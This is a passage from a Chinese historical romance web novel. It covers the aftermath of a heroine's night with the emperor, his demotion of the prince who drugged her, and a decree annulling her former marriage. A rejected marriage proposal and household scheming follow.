赵清仪撑着身子,将小衣抽回来慢慢系上,又找到一只落灰的箱笼,从里面翻出一套陈旧的衣裳,许是过去哪个妃嫔的常服,样式过时了,但胜在齐整,足以蔽体。 忍着酸软,她匆忙换好衣裳,在一堆混乱不堪的衣裳里,翻出自己随身携带的钱袋子。 头一回结束时,她感觉自己好转许多,药性也解得七七八八了,那会儿她就准备离开,孰料刚爬到床头,就被男人捉住脚踝拖了回去,梅开二度,好一番折腾。 看在这一点,她都不打算把钱袋子全留下,只抽出两张银票丢在榻上,便蹑手蹑脚打开偏殿的门。 两个时辰过去,花神宴早已结束。 赵清仪小心翼翼观察周围的环境,确定无人才闪身出去,刚走出一段距离,就撞上了巡逻的禁军,酥红的小脸瞬间吓得苍白。 脑中飞快闪过无数个借口,在想一会儿被禁军抓住要如何解释。 然而看到她的禁军副统领就跟瞎了一样,直接忽略她,到别处巡逻去了,跟在后头的禁军们也目不斜视。 赵清仪:“……” 不懂,但是好事,于是她低下头,踉踉跄跄地走了。 在她走后不久,禁军们齐齐松了口气,还是有人朝赵清仪的背影投去好奇的目光,原来陛下临幸的女子,是宸华县主啊。 但想到县主的身份,众人不约而同噤声,谁也不敢多嘴。 林锋面上的冷意淡了些,召集在外围巡逻的禁军,汇聚在偏殿门前恭候圣驾。 楚元河从睡梦中醒来,一脸餍足,然而一回头,偏殿里空荡荡的,原本枕在他臂弯上的女人不见了。 他下意识伸手摸着她躺过的位置,那里只剩不堪入目的痕迹,却没有半分温度,显然走了有一会儿。 楚元河骤然清醒,坐起身才看到枕边的一叠银票。 他抓起银票怔了许久,气笑了,一百两? 就一百两,把他打发了? ……不对,这是多少银票的问题吗?而是赵清仪她怎么能一声不吭地走了? 把他当什么了?一味解药? 用完就扔?! 一口郁气忽然堵在胸口,气得他头昏脑涨,还是太克制了,才让对方有力气逃脱,早知道…… 罢了,赵清仪已经占了他的身子,是不可能再逃出他手掌心的,他们还有很多互相领教的机会。 早一日晚一日,又有什么区别。 楚元河忍下那口气,抓起衣裳慢条斯理地穿上,系腰带时才注意到榻上遗落的凤钗,支离破碎的画面是霎时涌入脑海。 她的细腰在他掌中摇曳,鬓边的凤钗也随着他的动作努力振翅,却到底不堪承受,从她绸缎般的乌发间滑落…… 黑沉的眉眼总算舒展开来。 楚元河将凤钗和银票一同揣进怀里,让林锋进来,询问赵清仪的情况。 林锋进殿后便恭敬垂首,不敢乱瞟,如实回禀动向,“长公主已经派人送县主出宫了。” 这个时辰,前来赴宴的命妇小姐早已陆续离宫,是张婉琰迟迟等不到赵清仪的人,才央求长公主留心寻找。 长公主也不傻,估摸着人应该是被自己那满肚子坏水的皇兄哄走了,便派心腹留意,一旦找到赵清仪,就先护送出宫。 有长公主打掩护,楚元河的心也稍稍安定几分。 林锋想了想,还是把岐王的事说了一遍,正好楚元河有气没处撒。 虽然对方此举是为他做了嫁衣,可万一呢,万一他来得不及时,万一让岐王得手…… 岐王还是该死,不提赵清仪,对方胆敢在皇宫里如此放肆行事,也该为此付出代价。 江南一带乃朝廷赋税重地,是国之命脉,实在不宜成为哪个藩王的封地,岐王却偏偏占着这块地,享了三十几年的荣华富贵,是时候让他吃些苦头,历练历练。 楚元河当晚便召集内阁,下旨改封,将岐王的封地迁至宁夏贫瘠之地。 圣旨送到岐王跟前时,他气到火冒三丈,圣旨上明明白白写着,说他正值壮年,适宜镇守边关,勒令他举家搬迁至宁夏,却连半分兵权都不给他。 这算什么镇守边关?没有兵权,西北真乱起来,要他提着脑袋去冲锋陷阵吗? 不过是通过这种方式,剥夺他原本富庶优渥的生活,让他去宁夏受苦,往后只能靠着爵位那点俸禄生存,彻底断了他在浙江一带的所有财路。 岐王咬牙启齿,几个侍奉在侧的姬妾惴惴不安,她们都是京中一些大人送给岐王的玩.物,本以为跟着岐王,将来回到封地可以继续吃香的喝辣的,结果转眼,岐王改封,要去苦寒之地了。 那她们这些女人…… 对了,女人。 岐王看着身边的莺莺燕燕,顿时想到花神宴上逃掉的宸华县主。 从前他们叔侄可从未撕破脸,如今楚元河为一个和离妇,丝毫不顾及叔侄情分,好……他好得很! 圣旨一经传出,京城再度掀起风浪,太皇太后得知此事,并不在意。 岐王又不是她亲生的,况且当初这岐王还是先帝最宠爱的皇子,风头一度盖过她的儿子,太皇太后巴不得他赶紧滚远些。 眼下太皇太后在意的还是自己的嫡亲孙子,不知花神宴上,可有相中哪位世家女,当即召楚元河到寿康宫请安。 “哀家觉得盈雪这孩子不错,出身高贵,品貌贤良,看着她,就好像看到年轻时的自己。”这话就差没直接表态,让楚元河立王盈雪为后。 楚元河慵懒倚在一旁,油盐不进道,“皇祖母若是喜欢,朕就让她进寿康宫当个女使,让她留在您老人家身边侍奉。” 太皇太后一噎,以楚元河这不按常理出牌的性子,还别说,真干得出这事。 若真如此,王盈雪就成了天大的笑话,连带着王家也会颜面扫地。 她立刻揭过此人,用更柔和的语气问,“那你的意思是,相中了张家嫡女?” 楚元河沉默,只递给太皇太后一个眼神。 太皇太后了然,“一个也没看上,那你究竟想娶谁?” “皇祖母还是少操心了。”楚元河不喜管束说教,若非敬重太皇太后老人家,他可是要发作的。 “时辰不早了,孙儿还要批阅奏折,就先回去了。” “慢着。”太皇太后凤目凌厉,“别告诉哀家,你看上了宸华县主。” 被人戳破心事,楚元河也不恼,吊儿郎当的笑,“皇祖母既然知道,还问这么多?” “你——”太皇太后气得坐不住了,抖着手指他,“你这实在荒唐!荒唐!” “若是叫文武百官知晓你的龌.龊心思,你这皇帝就做到头了!” 楚元河瞬间收敛笑容,人还立在原地,周身的威压却已倾轧而至。 太皇太后从气愤中回神,下意识倒退一步,“你要是真喜欢,待后位定下了,再将她纳入……” “皇祖母。” 楚元河语气疏冷,淡淡地打断她,“朕早看这帮所谓的清流不顺眼,整日只知弹劾这个,弹劾那个,不能上阵杀敌,又不能为百姓谋福,若非看他们是朝中元老,又与皇室有亲,朕早就拿他们祭天了。” 他语速不紧不慢,一如往常的平静,却听得太皇太后脸色煞白。 与皇室有亲的,除了王家,还能是谁? 而楚元河当初继位,第一件事便决定收服西北三十六部,朝中大臣当他是少年意气,不知死活,无一人赞成,可结果呢。 他打下了西北辽阔的疆域,源源不断的物产输送至大梁国土,粮食盐价趋于稳定,百姓安居乐业,唯一受到利益侵害的,便是不能趁机哄抬粮盐的世家大族,断了他们趁乱炒起盐价粮价的敛财之路。 又因他威名赫赫,四海臣服,至少他在位期间,可保大梁数十年的安定。 他不再是初登基时,任人摆布的毛头小子。 “如今的大梁,是朕在马背上真刀真枪杀出来的,可不是靠这帮世家用嘴皮子打下的。” 所以这帮清流世家有意见又能如何?他要娶谁,他说了算。 太皇太后内心震撼,在她眼里,楚元河还是十几岁的模样,是需要靠她和世家扶持的小皇帝。 可转眼间,楚元河又确实变了,不到十年的光景,他的成长远超所有人的预料。 “可是……” 太皇太后仍不习惯这种脱离掌控的感觉,她更希望楚元河还是那个敬重她,依赖她的小皇帝,但她想了半天,却发现根本说不出半句反驳之语。 楚元河最后一丝耐心耗尽,冷声警告,“皇祖母最是看重礼教,要求世间女子遵从闺训,那皇祖母就该知道后宫不得干政的道理。” 王家势大,只手遮天,甚至想越过他这个皇帝,就是犯了最大的忌讳,早晚要被清算。 “若皇祖母记不清自己的身份,再与王家有所牵扯,朕不介意送皇祖母重回娘家。”撂下最后一句警告,楚元河拂袖而去。 太皇太后站在高台之上愣了许久,才发觉双腿麻木,一屁股跌坐回去,好半晌,叹了口气,“哀家老了,没法再替他的父皇母后管教他了。” 嬷嬷赶紧过去搀扶,宽慰着说儿孙自有儿孙福,“陛下看似行事乖张,不遵礼法,可自陛下登基后,做的桩桩件件皆是利国利民之举,如今不过是想娶个合心意的女子,太皇太后又何必严辞拒绝?” 主要是,拒绝不同意也没用,在嬷嬷看来,太皇太后确实到了安享晚年的年纪,人也糊涂了。 这大梁本就是楚家的江山,太皇太后不向着楚家,反而向着王家,成何体统? 再为一个女子与陛下争执,对陛下的私事指指点点,管东管西,实非明智之举,依她看,太皇太后就该顺着陛下。 但这话嬷嬷也不敢说,只好提议太皇太后修复祖孙关系,“与其一味阻拦排斥,倒不如替陛下解决麻烦。” 太皇太后揉着胀痛的额角,静待下文。 嬷嬷打量她的神色,试探着说,“太皇太后不肯接纳县主,无非是因为县主曾与人有过婚姻,怕陛下娶了她,堵不住悠悠众口,可若这婚事作废……” 当初大理寺公堂之上,陛下准许赵清仪与李彻和离,可李彻宁死不肯写下和离书,始终差了最后一步,名不正言不顺。 既不肯和离,那不如索性解除婚约,就当这桩婚事不存在。 这倒是太皇太后从未考虑过的角度,她撩起褶皱的眼皮,“说下去。” “当初公堂对峙,百姓们都清楚,县主从始至终并无过错,反倒是那李家忘恩负义,骗婚在先,李彻又为官不正,实在配不上县主,太皇太后可以做主,降下一道懿旨解除两家婚约,如此一来,县主便不算和离妇。” 此法算得上掩耳盗铃,但也确实是让赵清仪彻底摆脱李家的最好办法,更重要的是顺应民心,顺应帝心。 百姓们不认为县主有错,陛下也觉得县主清白,如此便够了。 至于朝臣那里,有太皇太后懿旨压着,明面上不敢议论是非,最多就是私下里说两句,那也无伤大雅,只要不闹到台面来,大家睁一只眼闭一只眼,糊弄糊弄就过去了。 “要奴婢说,陛下或许早就想这么做了,只是陛下乃一国之君,由他做主解除婚约,自己再迎县主入宫,少不得遭人攀咬,说陛下是强夺臣妻。” 但要是太皇太后出面,后续的流言蜚语便发酵不起来,毕竟不是陛下亲自去做的。 “太皇太后若肯出头,给县主一份体面,陛下定然要记您这份恩情。” 太皇太后认真思忖片刻,顿觉嬷嬷此言有理,又想到楚元河临走时那张臭脸,一副要和她这皇祖母老死不相往来的架势,妥协了。 挥挥手道,“就依你所言,择日颁旨吧。” — 赵清仪回到家中,已近夜色。 一进揽月阁就让人紧闭院门,蓄好热水在房中沐浴净身,这次两个婢子早早被赶出去,更衣都是赵清仪自己完成。 她如今这幅身子,不堪入目,还是不要吓到婢子为好。 被“赶到”门外的婢子面面相觑,俏月今日待在府中,于是问檀月发生了何事。 檀月一直守在宫外,也不明所以地摇头,“县主出来得晚,路上催着车夫快些快些,就没了。” “就没什么异常?”俏月狐疑。 向来聪明稳重的檀月陷入沉思,想了半天,要说异常…… 脸有点红,头发有点乱,还换了身衣裳,这算么? 也不怪檀月,她自己还是个未出阁的小姑娘,过去赵清仪又没和李彻圆过房,她不懂实属正常。 俏月最佩服檀月的脑子了,听她说没异常,便信以为真,旋即担忧地说,“哦对了,有件事忘了告诉县主,今日我将衣服送去浆洗时,瞧见一个外院洒扫的婢子鬼鬼祟祟进来了。” 檀月立时警觉,询问细节。 俏月歪着脑袋,“我感觉她像是进来偷东西的,可是我检查过库房,里头值钱的物件一样没丢。” 不偷值钱的…… 檀月恍然,“再去盘查一下,可有丢失县主的贴身之物。” 房间里,赵清仪已经顾不得其他了,艰难地褪.去衣衫,看着铜镜中的自己,雪一样白皙的肌肤上,布满斑驳的红痕,从上至下,无一疏漏。 看着这些红痕,她就会不由自主想起偏殿里的,二人交缠厮磨,红浪翻滚的画面。 分明一开始只为解毒,可到了后面…… 似乎二人都已清醒,却又心甘情愿的陷入昏聩,一同沉.沦…… 当时她也不知怎么了,除了哭只剩迎合,疼是疼的,过后其实也……也品出了几分前世不曾体会的欢愉。 想着想着,赵清仪的脸蛋又跟火烧似的,她赶紧扶着浴桶边缘钻进去,温水混着鲜红的花瓣浸润着她的肌肤,酸疼之感缓解不少。 与此同时,难以启齿之处在温水的作用下,属于他的东西缓缓涌出。 怎么会这么多。 一会儿还得要碗避子汤。 赵清仪一手扶着浴桶边缘,一手小心翼翼地清理,触及还有些疼痛。 她又想到了他,想到他曾抚过,还有他附在她耳畔轻叹…… 不知是否心里作祟,赵清仪总觉清澈的浴汤也变浑浊粘稠起来。 她准备起身,让婢子进来换桶水,半截身子刚浮出水面,粗糙的大掌忽然按住她的肩。 赵清仪低呼出声,扭头便撞进一双笑吟吟的桃花眼。 拨开温热的水汽,对方视线缓慢下移,迅速染上一抹暗色。 赵清仪一慌,脚下打滑不慎跌入桶中,温热的水流顷刻没过她的头顶。 楚元河立刻握住她的手臂,将她捞出水面。 水声哗啦作响,赵清仪站了起来,湿.漉漉的长发贴在身前,与那玲珑曲线完美贴合,嫣红的花瓣也缀在她白皙的肌肤上,红的红,白的白,艳得移不开眼。 楚元河扶着她纤细胳膊的手抖了一下,差点也要站不稳了。 “还痛吗?”他声音低哑,格外温柔。 水珠从赵清仪的眼睫滑落,她垂眸,看着对方握住他的大掌,只是稍稍用力,便又一次嵌入她的肌肤,留下浅浅的凹痕。 她推开他,抱着肩重新缩回水面,“你、你怎么来了?” 她没回答他的问题,还是羞于启齿的。 楚元河还在外面,居高临下,只看得到她乌压压的发顶。 “你一声不吭走了,我当然要来看看你。”他蹲下身,扒在浴桶外与她平视,果然看见她烟霞般绯红的小脸。 赵清仪眼眸闪了闪,“一会儿我让人再给你拿银票……” 楚元河不可置信地指着自己,“你觉得我是来找你讨钱的?” 他看着很穷酸很缺钱吗? “般般占了我的清白,我就是来讨个说法。” 赵清仪惊讶不已,你情我愿的事,还要讨说法? 楚元河如此直白的眼神,让她又一次倍感压力,绞尽脑汁想了半天,才鼓起勇气道,“可你是我的外室,即便我做了什么,那、那也是你要受着的……” “大不了,往后每月我给你一百两月银,你只管讨我欢心即可。” 她理所当然地说,“你若不服,心里有怨,那你过来。” 楚元河毫不迟疑,俯身凑近她,“你当如何?” 赵清仪的手从水里出来,捧住他的脸在他唇上轻轻一吻,末了,到底还是羞的,声音弱下来,“如此……可算宽慰你了?” 察觉他的目光不怀好意起来,她忙转过身去不敢看他。 楚元河险些压不住嘴角,这话他爱听。 “行啊,夫人出手大方,往后我就跟了你,也不错。”他拿过澡巾热络上前,“那小的为夫人搓背?” 适应得还挺快。 赵清仪惊慌一瞬,忙按下逃走的冲动。 男人真就只是搓背,脑袋靠在她颈后,声音低低的,“伺候夫人,让夫人满意,是小的该做的,夫人不要拒绝。” 他的气息逼得极近,赵清仪哀唔一声,泛红的指尖用力扣住浴桶边缘。 沾了水的澡巾一点点润过她的肌肤,轻晃的水流中,女人纤细的腰肢若隐若现。 楚元河动作不紧不慢,澡巾滑过她的后脖颈,顺着精致的蝴蝶骨慢慢往下,再穿过水面…… 赵清仪不自觉收紧了细腰,浓密的眼睫颤个不停,扣着浴桶的细指因为过于紧张而感到酸疼。 昏暗的光线里,楚元河黑沉沉的眸子晦暗如海,暗藏汹涌。 第58章 第58章求娶。 “如何,还算舒坦么?” 男人搓背手法不算娴熟,胜在动作轻柔又细致,搓起来,倒也舒适。 赵清仪面颊璨若粉霞,闷闷地嗯了声,紧绷的脊背一点点松弛下来。 她也确实累了,这一日经历的荒唐事,仿佛比她过去一辈子加起来都要多。 楚元河继续慢悠悠地搓洗,待她整片后背泛起薄红,终于忍不住俯身,吻去她蝴蝶骨处一颗晶莹的水珠。 赵清仪轻哼,扒着浴桶边缘,无措地回眸望他。 澡巾不知丢去了哪里,男人从后扶住她的圆润的肩,不让她挣动分毫,薄唇缓缓上移,直至她的耳廓。 暧昧的气息在水汽中氤氲蒸腾。 热水随着她的轻颤,荡出一圈又一圈的涟漪。 楚元河到底是克制了,一番厮磨后,从置衣架上取过寝衣披在她肩头,将她从桶中抱出来。 回到床榻上,他熟练的用干布包裹她的湿发,两人不再说话,惬意地享受这片刻宁静。 只是擦着擦着,两人又黏在一起。 好在赵清仪还有一丝理智,气喘吁吁地推开他,“……时辰不早,你还是快些走吧。” 她身上还难受着,万一两人又不知羞,她明日估计下不了床。 楚元河也不勉强,事缓则圆,急不来的。 “那我得空了再过来。” “嗯。”赵清仪整个人缩回衾被里,露在外头的修长脖颈还有他新留下的红痕。 从宫里出来后,她好像变得更娇了,像是喝足雨露的牡丹,明艳动人。 过去的她也美,但……就是不一样了。 楚元河很是自得,忍不住又在她唇上放纵,待她浑身酥.软倒下后,才理理衣襟站起身,“般般歇着吧,不用送我。” 赵清仪姿态慵懒地窝在被褥里,又嗯了声,她也没力气送他,就和之前一样,他该怎么走就怎么走吧。 走之前,楚元河将她遗落在偏殿的凤钗重新塞回她手里,“收好,下回小心些,别再晃掉了。” 赵清仪懵懵地握住那支凤钗,待他消失后,才后知后觉反应过来,脸腾地火热。 这还怪她? 两个婢子敲门进来,看着刚出浴便衣衫不整的县主,脸上并无太多惊讶,都习惯了。 只是看到她脖颈上的红痕,俏月在心里叹了句,县主又受累了。 赵清仪让她们把凤钗收好,俏月一边收拾,一边说起今日发现的端倪。 赵清仪稍加思索,猜到对方的来意,那吃里扒外的婢子,估摸是想趁她不在,来偷她的贴身物件。 “莫要打草惊蛇,明日一早,拿件小衣出去,让那婢子偷。” 俏月大惊,“这怎么行?”还是小衣这等隐私之物,被人偷去,不知要做什么文章。 赵清仪笑得意味深长,“母亲不是接管了中馈吗?送给姨娘的四时衣裳是何样式,应该都清楚吧?” 府中女眷的衣食住行,皆由府里安排,贴身之物自然也不例外,孟氏接管了中馈,方姨娘喜好的花色样式,她门儿清。 “找件差不多的让那婢子偷去,记得做自然些,莫叫人起疑了。” 一听就没憋好事,俏月兴奋不已,“是,婢子定办得妥妥的!” 翌日天蒙蒙亮,俏月抱着一筐衣服,状似随意地喊了那婢子一声,“这些是县主不要的衣裳,拿下去销毁了,记住,要销毁得干干净净,明白吗?” 她越是强调,那婢子越肯定这一筐就是县主的衣裳,忙接过来连声应是,等俏月走远了,才抱着一筐衣服到角落里,翻找出唯一的一件小衣,还是艳红色。 有了县主的小衣,定能助姨娘成事。 她将小衣叠好,揣进袖兜里,又在半夜时分将东西悄悄交给方姨娘。 夜色昏暗,方姨娘只随意看了一眼,小衣翻来覆去都是差不多的样子,便没多心,确定是赵清仪的就行,又给婢子一包银子,便打发她走人。 — 花神宴不久,殿试也结束了,礼部放榜,京中不少人家榜下捉婿,陆续结亲。 至于花神宴,陛下依旧没有选中任何一个女子,甚至据赴宴的女眷描述,当日陛下压根就没露过面,让许多幻想攀附皇室的世家打消了心思。 正好赶上放榜,干脆顺势给自家闺女定亲,张婉琰也在父亲的主张下,定了连中三元的新秀乔文柏,乔郎君。 此人门第不高,胜在人品贵重,才华横溢,是张首辅最器重的门生,此次与张婉琰结亲,对方自愿入赘张家,还请了长公主亲自做媒,可见诚心。 赵清仪在抱厦上悠然自得的剥葡萄,听闻此事,也为张婉琰庆幸。 乔文柏此人,她还是有些印象的,前世此人在殿试上凭借一篇《治国策》得到陛下赏识,一跃成为朝中新贵,后来还和李彻同在内阁,不过二人不对付,多有政见不合的时候。 赵清仪那时身为李彻的妻子,间接了解过乔文柏,此人有鸿鹄之志,但更难得是是那份脚踏实地的沉稳气性,行事小心谨慎,从无纰漏,深得圣心,一进内阁,就分走了李彻半数权力。 那时赵清仪自然与李彻站在一处,同仇敌忾,现在想来,能和李彻不对付的,心眼应该也差不到哪儿去。 前世若张婉琰还活着,应该也会和现在一样,与乔文柏结为连理。 想到乔文柏将来的仕途,赵清仪觉得,这或许真会是一门不错的亲事。 檀月笑道,“听说是花神宴后,张小姐自个儿求来的。” 这却出乎赵清仪的意料,乔文柏是张家门生,张婉琰又主动求了这门亲,莫非两人早就看对眼了? 赵清仪意外过后,又释然,少女心事,不为旁人所知实属正常,她也有秘密不曾告知过张婉琰。 思及此,赵清仪让檀月准备一份厚礼,待张婉琰定亲了她再送去,届时非得好好调侃张婉琰一番。 俏月也笑,又想到什么,“哦对,县主可听说了岐王改封之事?” 提到岐王,赵清仪剥葡萄的手一顿,听完婢子所言,只觉得岐王活该,罪有应得。 无论是他前世害死了张婉琰,还是这辈子算计到她身上,光是改封发配到苦寒之地,远远不够偿还他身上的罪孽。 不过岐王给她下药的事,到底不能抬到明面上来,这个仇她记下了,早晚要讨回来。 赵清仪将葡萄塞入口中,用力咬碎,“还有什么消息,继续说吧。” 檀月翻了翻手中的小册子,“还有一件要事,就是李家二公子李衡也中了进士,是今年的榜眼。” 除了李衡,主办过新政学堂的学子基本都中了,这无疑给了天下学子莫大的鼓舞,许多人前仆后继加入新政。 赵清仪暗自佩服楚元河的能力,当日她不过随口一说,他真听了进去,还将那番话上达天听,有了如今的局面。 因岐王生出的阴霾顿时一扫而空,赵清仪笑了,“这可是天大的好事,父亲远在浙江,也能得到天下文人学子的帮衬。” 正当主仆三人高兴之际,管事妈妈进来通禀,“县主,宫里来了人,请您出去接旨呢。” 赵清仪心头咯噔一下,宫里的旨意? 不会是陛下吧?难道她先前的胡乱猜测……成真了? 这怎么行? 赵清仪提起裙摆慌忙出去迎接,看到门口传旨的内侍有些眼生,不是陛下身边的司礼监秉笔,心里稍稍安定几分。 全家人跪地接旨,公公开口第一句便是太皇太后懿旨。 赵清仪小小松了口气。 听到太皇太后居然做主废除李赵两家的婚约,就连当初过了官府的文书也被销毁时,大房差点欢呼出声。 尤其赵澜俨,眉眼里藏不住的喜色,不等前头的老夫人起来,他先冲上去抢过懿旨,“不是和离,是解除婚约!” 这下看谁还敢议论他姐姐是和离妇! 老夫人瞪他一眼,“放肆,还不快退下。”语气严厉,可明眼人都看得出来,赵老夫人也很高兴。 内侍跟着陪笑,接过赵家人的赏钱回宫复命去了。 孟氏终于不再压着情绪,也凑到儿子身旁。 懿旨上写得清清楚楚,就是解除婚约,皇室与官府皆不承认这段婚姻。 “太好了!”孟氏喜极而泣,再没人能非议赵家,非议她的女儿了。 赵清仪简直不敢相信,这居然是太皇太后她老人家的懿旨? 上*回花神宴,太皇太后可没给她好脸色,很难想象对方居然做了一回好人。 赵老夫人赶紧说,“得找个工匠,将这懿旨裱起来,挂厅里。” 清仪可是她最骄傲的孙女,她要让所有人都知道,她的孙女清清白白。 “回头呀,咱们继续给清仪相看个靠谱的好人家,前尘往事一笔勾销,从此以后,咱们欢欢喜喜过日子!” 赵老夫人话音刚落,门房小厮的声音再次响起,“李榜眼来了!” 乍然听到“李”这个姓氏,大房的脸色都不太好,但一看是李衡,神色又缓和下来。 李衡刚过释褐仪式,头戴簪花,身上穿着御赐的进士冠服,青罗袍,红绸带,脚踏朝靴,大步而来,而他身后还有七八个小厮抬着箱笼进门。 赵家人目瞪口呆,还没回过神,李衡已经行至老夫人与孟氏跟前,深深作揖,“下官李衡,拜见赵老夫人,拜见大夫人,下官不才,已中进士,今日特意登门,向赵家求娶县主为妻!” 饶是见惯大风大浪的老夫人,闻言不免张大了嘴。 她没听错吧,求、求娶清仪为妻? 这太皇太后的懿旨刚到,李衡后脚就来提亲,这么短时间内,李衡应该不会提前知晓懿旨的内容,也就是说,无论赵清仪是不是和离妇,对方都有心求娶。 这…… 赵老夫人刚说要给自己的孙女再相个好人家来着,李衡就来了,莫非是天意? 老夫人与孟氏下意识去看赵清仪,询问她的意思。 至于默不作声的二房,酸得眼泪都要下来了,尤其是方姨娘与方茹。 方茹眼眶通红地看着不远处的李衡,多日不见,李衡瞧着更意气风发了,如今又中进士,风光无限,前途不可限量。 撇去方姨娘的心思不提,方茹自己也很喜欢李衡,只可惜从头至尾,对方眼里都不曾有过她的身影。 方茹绞着帕子,泪水夺眶而出,在看清对方含情脉脉望向赵清仪时,她便知道,李衡对赵清仪的情愫,早在很久很久以前便种下了。 她根本没有机会。 方茹愈加难堪,扭头跑开了。 方姨娘正愤恨着,气赵清仪怎么就这般好命,发现侄女哭着跑了,暗啐一句没用的东西,但凡方茹争口气,李衡这新科进士就是他们二房的人,哪里轮得到大房? 二婶冯氏看下人搬聘礼进来,心里也酸酸的,回头瞪着丈夫赵怀良,“你这个当爹的也不知抓紧些,咱们温仪还没出嫁呢。” 温仪一个黄花大闺女至今未出阁,赵清仪这二嫁妇的第二春就已经来了,还是新科进士,陛下亲点的榜眼,真是人比人气死人。 李衡会堂而皇之登门求亲,也是赵怀良想不到的,听到夫人抱怨,只好叹道,“急什么,不是已经相中了户部谭侍郎之子谭尹,此次科举出了些意外,虽不在一二甲之列,但人家有家世,又与永宁侯府有姻亲,还是不错的。” 冯氏撇撇嘴,谭尹此人之前倒是接触过,不过那会儿谭家信誓旦旦的保证,儿子一定会中进士,可如今…… 冯氏还是不太乐意,“咱们女儿是要嫁状元探花的。” 三甲有什么用,到时要被发配到地方做官,她可舍不得女儿跟去吃苦。 赵怀良懒得多说,“改日我邀谭家人上门,让温仪再看看,若无异议,就定下了。”他倒觉得对方一表人才,家世也不错。 赵温仪就在二老身侧,将他们的对话听得清清楚楚,不由脸红心跳。 这谭尹她见过几次,相貌还算过得去,她们也曾有过书信往来,但那会儿她始终没有答应亲事,是想等对方考取功名再谈,如今却一拖再拖,而她早就到了该嫁人的年纪。 此前她一直盼着嫁个才华横溢之人,婚后琴瑟和鸣,相敬如宾,如今…… 或许真的是她太心高气傲,状元探花哪儿是那么容易嫁的,相比之下,谭尹也不算太差。 赵温仪看了眼众星捧月般的大堂姐,神色黯然,难得越过冯氏开口道,“就依父亲所吧。” 冯氏还想为女儿争取,听到女儿如此说,只好顺着她,“你放心,母亲肯定不会让你去吃苦的,回头再打听打听,若当真家世不错,再答应也不迟。” 谭尹,谭侍郎家的嫡子,和永宁侯府的确有姻亲关系,永宁侯的原配夫人就姓谭,为侯府生下世子萧寒玉后就过世了,之后赵怀淑嫁去侯府做续弦,若要见面,可以借赵怀淑的关系。 夫妻俩小声商议,准备回头拜托赵怀淑的继子萧寒玉,让对方以表兄弟相见的名义把谭尹请到侯府去,她们二房一并过去,做出偶然相遇的样子,顺道就相看了。 满意便定亲,若是不满意,直接走人,回头外人也无法指摘,也能保全两方的颜面,毕竟买卖不成仁义在。 二房算盘打得噼啪响。 另一边,李衡和赵清仪走远些说话去了,老夫人便注意到二房的动静。 听到他们夫妻的窃窃私语,没好气地冷哼,“怀淑是继室,在侯府的日子也没那么安逸,你们少利用她。” “婆母,您不能这么偏心呐。” 冯氏不乐意了,“小姑子是您亲女儿,可温仪也是您亲孙女呀,咱们这么打算,不也是为了给温仪相个好夫婿,您不能只顾着县主一个孙女吧?” 太皇太后的懿旨一下来,老夫人就想到给赵清仪择婿,怎么就偏偏遗忘了她们二房的姑娘? 老夫人神色也有些不自然,忖了忖,罢了,“别做得太刻意了,要就两房一起过去探望怀淑。” 这话算是松了口,冯氏仍有不满,她是要给温仪相看夫婿的,叫上大房做什么?让赵清仪过去抢她女儿的如意郎君么? 还说不是偏心! 赵老夫人这回是真冤枉,她就是抱着一家人上门探亲的心,哪儿知冯氏的弯弯绕绕,况且眼下李衡求娶赵清仪,说不准就是要定下了。 却不料赵清仪婉拒了这门所有人看来都不错的婚事。 两人站在一边,赵清仪坦然,“祝贺李大人高中榜眼,不过恕我无法答应这门婚事,李大人还是请回吧。” 来的路上,李衡不是没想过赵清仪会拒绝自己,可当他亲耳听到这番话,亲眼看着对方平静到近乎无情的神色,他的心仍是一阵刺痛。 藏在宽大袖摆的双手紧握成拳,“我……我能知道原因吗?” 到底因为什么,赵清仪一而再再而三的拒绝他? 当初他以为是自己的出身不够,他是庶子,所以婚事落不到他头上,后来他盼到赵清仪和离了,对方依旧不冷不热。 如今他高中了,可以自立门户,再没人能拿他的出身说事,甚至所有人都得高看他一眼,赵清仪还是拒绝。 赵清仪觉得没什么可隐瞒的,“我并无嫁人的打算。” 无论谁来提亲,都只会得到这个答案。 “我铺子里还有事,恕不奉陪。” 转身之际,李衡定定看着她,也看清她半高衣襟下,一点若有似无的痕迹,神色黯然。 他不是什么都不懂的年纪。 可赵清仪已经和离,而那痕迹明显是最近的。 那个人……是谁? 待他回过神,赵清仪早已离去,赵老夫人与孟氏四目相对,明白这是婉拒的意思了,只好吩咐小厮将聘礼原样奉还。 方姨娘走过去,“天色不早了,李榜眼不如留下用膳再走?” 孟氏刚要反驳,就听方姨娘继续说,“先前李榜眼在族学教导过江俨那孩子,妾身一直没机会亲自向您道谢,您就留下吧。” 赵江俨适时跑出来,抱住李衡的腿跟着央求。 孟氏见状,反驳的话反而不好出口了,她是觉得李衡有心与自己女儿结亲,可女儿拒绝了,再留人会让双方难堪,可方姨娘这借口…… 算了,别闹到她们大房那儿就行,二房的私事她也管不着。 赵怀良想到花神宴,李衡破例得了帖子赴宴,便知李衡是上头看重的人,若能与他结交,再好不过,也跟着附和。 最后李衡架不住二房盛情,勉强答应下来。 方姨娘欢天喜地,赶紧差人把李衡迎到西跨院去,做完这一切,还不忘冲赵怀良矫揉一笑,媚眼如丝,自然又得了赵怀良的夸赞,直说她有眼力,事情办的好。 冯氏瞧方姨娘那得意的嘴脸,翻了个白眼,拉着女儿赵温仪走了。 赵怀良若是昏了头,敢把方茹那个不知打哪儿来的小蹄子许给李衡,看她回头不闹死他! 冯氏绝不允许一个寄人篱下的劳什子侄女,嫁得比她二房嫡女还好,这不是打她正妻的脸吗? 不过李衡自己也有心提防,他知道方姨娘多半是想找机会撮合他与方茹,但这显然不可能,所以当方姨娘神神秘秘,将他请到僻静处时,他婉拒了。 方姨娘笑笑,“别紧张,我找你,并不是要为方茹说亲的,是有件要紧东西还你。” 要紧东西?还他? 李衡立即想到他丢失已久的匣子,毕竟是他生母留给他的唯一东西,当初在李家时,莫名其妙不见了,为此他消沉过一段时日,却一直没能找到。 难道在方姨娘手里?她又是如何得到的? 揣着满肚子疑问,李衡还是避开外人,跟着方姨娘到了僻静处。 二人坐下后,方姨娘让人将匣子呈上。 看到匣子的第一眼,李衡便迫不及待要拿回来。 方姨娘拦住他,“哎,李榜眼莫急,你先瞧仔细了,这是你的东西吗?” “当然是!” 李衡毫不犹豫,生母遗物,化作灰他都认得,他忙追问,“姨娘想要多少银两,才愿意将匣子还给在下?” “说银子可就生分了。”方姨娘染着丹蔻的细手将匣子推到他面前,“我也是偶然得到此物,打听一圈才知原来是你的东西,今日物归原主,就当是与李榜眼结个善缘。” 